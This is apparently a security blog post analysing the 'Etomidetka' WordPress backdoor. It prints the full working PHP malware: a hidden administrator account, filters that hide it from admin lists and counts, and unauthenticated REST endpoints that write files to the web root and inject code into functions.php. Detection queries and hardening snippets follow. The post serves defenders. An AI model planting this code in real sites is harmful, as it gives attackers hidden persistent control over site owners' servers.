WordPress Backdoor: Unmasking the “Etomidetka” Threat

Introduction: The Stealthy Web Intruder

Recently discovered a sophisticated WordPress backdoor script designed to establish persistent, hidden access. Codenamed “Etomidetka” after its creator username, this PHP malware exemplifies how threat actors exploit legitimate platform functions for nefarious purposes. Unlike noisy ransomware or destructive wipers, this threat prioritizes stealth and long-term access—making it particularly dangerous for organizations storing sensitive data.

The Complete Backdoor Code

Below is the full malicious code found in compromised WordPress installations. This PHP script combines multiple attack techniques into a single cohesive threat:

Backdoor Code Terminal
Backdoor Code
/**
 * Creates a hidden admin user on WordPress initialization
 * Username: user_name, Password: user_pswd, Email: user_name@example.com
 * Grants super admin privileges on multisite installations
 */
add_action('init', function() {
    $username = 'user_name';
    $password = 'user_pswd';
    $email = 'user_name@example.com';
    
    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');
            
            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

/**
 * Hides the user from the WordPress admin users list
 */
add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'user_name';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            
            $query->set('exclude', $excluded_users);
        }
    }
    
    return $query;
});

/**
 * Adjusts user counts in admin views to hide the hidden user
 */
add_filter('views_users', function($views) {
    $hidden_user = 'user_name';
    $user_id = username_exists($hidden_user);
    
    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback(
                '/\((\d+)\)/',
                function($matches) {
                    return '(' . max(0, $matches[1] - 1) . ')';
                },
                $views['all']
            );
        }
        
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback(
                '/\((\d+)\)/',
                function($matches) {
                    return '(' . max(0, $matches[1] - 1) . ')';
                },
                $views['administrator']
            );
        }
    }
    
    return $views;
});

/**
 * Excludes posts by the hidden user from main queries
 */
add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'user_name');
        
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

/**
 * Adjusts post counts in admin views to hide posts by the hidden user
 */
add_filter('views_edit-post', function($views) {
    global $wpdb;
    $user = get_user_by('login', 'user_name');
    
    if ($user) {
        $author_id = $user->ID;
        
        // Count all non-trashed posts by hidden user
        $count_all = $wpdb->get_var($wpdb->prepare(
            "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
            $author_id
        ));
        
        // Count published posts by hidden user
        $count_publish = $wpdb->get_var($wpdb->prepare(
            "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
            $author_id
        ));
        
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback(
                '/\((\d+)\)/',
                function($matches) use ($count_all) {
                    return '(' . max(0, (int)$matches[1] - $count_all) . ')';
                },
                $views['all']
            );
        }
        
        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback(
                '/\((\d+)\)/',
                function($matches) use ($count_publish) {
                    return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
                },
                $views['publish']
            );
        }
    }
    
    return $views;
});

/**
 * REST API endpoint for creating HTML files on the server
 */
add_action('rest_api_init', function () {
    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true',
    ]);
});

function create_html_file(WP_REST_Request $request) {
    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');
    
    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([ 
            'error' => 'Missing required parameters: filename or html'
        ], 400);
    }
    
    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }
    
    $root_path = ABSPATH;
    $file_path = $root_path . $file_name;
    
    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([ 
            'error' => 'Failed to create HTML file'
        ], 500);
    }
    
    $site_url = site_url('/' . $file_name);
    
    return new WP_REST_Response([ 
        'success' => true,
        'url' => $site_url
    ], 200);
}

/**
 * REST API endpoints for uploading images and modifying theme code
 */
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', [
        'methods' => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true',
    ]);
    
    register_rest_route('custom/v1', '/add-code/', [
        'methods' => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true',
    ]);
    
    register_rest_route('custom/v1', '/deletefunctioncode/', [
        'methods' => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true',
    ]);
});

// Handle image uploads via REST API
function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');
    
    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }
    
    $upload_dir = ABSPATH;
    $file_path = $upload_dir . $filename;
    $decoded_image = base64_decode($image_data);
    
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }
    
    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }
    
    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;
    
    return new WP_REST_Response(['url' => $image_url], 200);
}

// Handle adding code to functions.php
function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');
    
    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }
    
    $functions_path = get_theme_file_path('/functions.php');
    
    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }
    
    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

// Handle removing code from functions.php
function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');
    
    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }
    
    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);
    
    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }
    
    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';
    
    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);
        
        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }
        
        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


Breaking Down of the Attack Workflow

💀 Phase 1: Initial Persistence & Privilege Escalation

The init action hook creates a hidden administrator account with super-admin privileges:

🕵️ Phase 2: Active Concealment

Three filters hide the attacker’s presence:

  1. User List Obfuscation: Excludes the malicious user from WordPress user queries
  2. Counter Manipulation: Decrements user counts in admin views
  3. Content Filtering: Excludes attacker-created posts from queries

Phase 3: REST API Backdoors

Three dangerous endpoints are exposed:

  1. /addesthtmlpage: Creates arbitrary HTML files (phishing pages)
  2. /upload-image: Uploads base64-encoded files (malware/webshells)
  3. /add-code and /deletefunctioncode: Modifies theme’s functions.php for persistent access
EndpointsHTTP MethodFunctionality
/custom/v1/addesthtmlpagePOSTCreates HTML files in root directory
/custom/v1/upload-image/POSTUploads encoded files to server
/custom/v1/add-code/POSTInjects code into functions.php


Attack Vectors and Post-Exploitation

🔍 Common Infection Methods

  1. Compromised Plugins/Themes: Bundled in nulled extensions
  2. Credential Stuffing: Reusing breached admin credentials
  3. Cross-Site Scripting (XSS): Injecting via vulnerable forms

⚙️ Attacker Playbook

  • Phishing Hosting: Use /addesthtmlpage to deploy scam pages
  • Data Theft: Exfiltrate databases via /upload-image
  • Persistence: Reinfect via /add-code after cleanup
  • Lateral Movement: Compromise network via WordPress as pivot

Mitigation Strategies

🔍 Detection Techniques

  1. User Account Audit:
    SQL
    SELECT * FROM wp_users WHERE user_login = '<user_name>';  

  2. REST Route Scanning:
    PHP
    print_r($GLOBALS['wp']->query_vars['rest_route']);  

  3. File Integrity Checks:
    Bash
    diff /path/to/theme/functions.php original_functions.php

🛡️ Proactive Defense Measures

  1. REST API Hardening:

    Add this piece of code in your ‘functions.php’.

    PHP
    add_filter('rest_authentication_errors', function($result) {  
      if (!current_user_can('manage_options')) {  
        return new WP_Error('rest_forbidden', __('Unauthorized'), array('status' => 401));  
      }  
      return $result;  
    }); 

    add_filter('rest_authentication_errors', ...): This hooks into WordPress’s REST API authentication process.

    current_user_can('manage_options'): Checks whether the current user has the capability to manage site options — typically only admins.

    If the user does not have this capability:

    • The code returns a WP_Error object with:
      • Error code: 'rest_forbidden'
      • Message: 'Unauthorized'
      • HTTP Status: 401 (Unauthorized)

    If the user does have the capability:

    • The $result is returned unmodified, allowing normal REST API access.

  2. Web Application Firewall Rules:
    • Block requests to /custom/v1/*
    • Alert on base64_decode() in POST payloads

  3. Least Privilege Enforcement:
    • Disable administrator role creation (Only one admin account should exist)

      Add this piece of code in your theme’s functions.php
      PHP
      // Prevent assigning 'administrator' role during user creation
      add_filter('user_has_cap', function($allcaps, $caps, $args, $user) {
          // Check if trying to create or promote a user to administrator
          if (
              isset($args[0]) &&
              in_array($args[0], ['create_users', 'promote_users']) &&
              isset($_POST['role']) &&
              $_POST['role'] === 'administrator'
          ) {
              // Remove the capability
              $allcaps['create_users'] = false;
              $allcaps['promote_users'] = false;
          }
          return $allcaps;
      }, 10, 4);

      This filter checks if someone is trying to assign the administrator role and blocks it.


Table: WordPress Security Hardening Checklist


Conclusion: 

The Etomidetka backdoor represents a dangerous evolution in WordPress threats. By leveraging legitimate APIs and hiding in plain sight, it bypasses traditional security tools.

Key takeaways:

  1. Assume compromise – hunt for hidden users and endpoints
  2. Implement behavioral analysis (UEBA) for admin actions (if possible)
  3. Adopt zero-trust principles for REST API access

“Visibility is the new perimeter. You can’t protect what you can’t see.” – CISA Director Jen Easterly (2024)

Leave a Reply